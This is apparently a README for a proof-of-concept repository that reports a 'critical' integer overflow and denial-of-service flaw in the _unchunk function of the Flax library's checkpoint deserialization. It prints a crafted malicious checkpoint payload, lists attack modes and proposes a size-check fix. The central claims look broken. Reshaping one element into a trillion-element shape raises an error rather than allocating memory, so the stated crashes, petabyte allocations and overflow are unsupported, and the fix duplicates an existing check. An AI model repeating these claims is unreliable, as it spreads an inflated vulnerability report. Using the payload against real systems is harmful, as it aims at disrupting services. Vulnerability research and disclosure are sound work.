vamsik2005/flax-poc-02-integer-overflow

🚨 FLAX VULNERABILITY POC #2: Integer Overflow in Chunk Deserialization

Severity: CRITICAL CVE: Pending Assignment Target: google/flax - JAX Deep Learning Framework Vulnerability Type: CWE-190, CWE-789 (Integer Overflow, Memory Allocation)

Overview

This POC demonstrates a critical integer overflow vulnerability in Flax's chunked array deserialization. Attackers can craft malicious checkpoints with mismatched shape/chunk data causing:

• —✅ Denial of Service (OOM, process crash)
• —✅ Memory Exhaustion (Petabyte-scale allocation attempts)
• —✅ Resource Exhaustion (System freeze)

Vulnerable Code

File: flax/serialization.py (Lines 356-361)

def _unchunk(data: dict[str, Any]):
    assert '__msgpack_chunked_array__' in data
    shape = _dict_to_tuple(data['shape'])
    flatarr = np.concatenate(_dict_to_tuple(data['chunks']))
    return flatarr.reshape(shape)  # ❌ NO SIZE VALIDATION!

Missing Security Check: No validation that concatenated chunks match expected shape size!

Attack Vector

# Attacker crafts malicious chunked checkpoint:
malicious = {
    '__msgpack_chunked_array__': True,
    'shape': {0: 1000000, 1: 1000000},  # Claims 1 trillion elements
    'chunks': {0: np.array([0])}         # Provides only 1 element!
}

# Victim loads checkpoint:
flax.serialization._unchunk(malicious)

# Result: Tries to reshape 1 element into 1 trillion → CRASH

Impact

• —DoS: Guaranteed system crash or OOM
• —Memory Exhaustion: Can attempt petabyte-scale allocations
• —Resource Starvation: System freeze, requires hard reboot
• —Multi-tenant Risk: Can DoS entire cloud instance

Reproduction

python3 poc_02_integer_overflow.py [attack_type]

Attack types:

• —massive_shape: Claim huge array with tiny chunks
• —chunk_bomb: Many chunks causing huge concatenation
• —negative_dims: Negative shape dimensions (undefined behavior)

Remediation

Add validation in _unchunk():

def _unchunk(data: dict[str, Any]):
    assert '__msgpack_chunked_array__' in data
    shape = _dict_to_tuple(data['shape'])
    flatarr = np.concatenate(_dict_to_tuple(data['chunks']))
    
    # ✅ ADD THIS CHECK:
    expected_size = np.prod(shape)
    if flatarr.size != expected_size:
        raise ValueError(f"Chunk mismatch: {flatarr.size} != {expected_size}")
    
    return flatarr.reshape(shape)

Disclosure

• —Reported: February 2026
• —Status: Private disclosure to Google Security
• —CVE: Pending assignment
• —Bounty: Submitted to Huntr.dev

Files

• —poc_02_integer_overflow.py - Proof-of-concept exploit
• —README.md - This file

⚠️ WARNING: This POC may crash your system. Run in isolated environment only.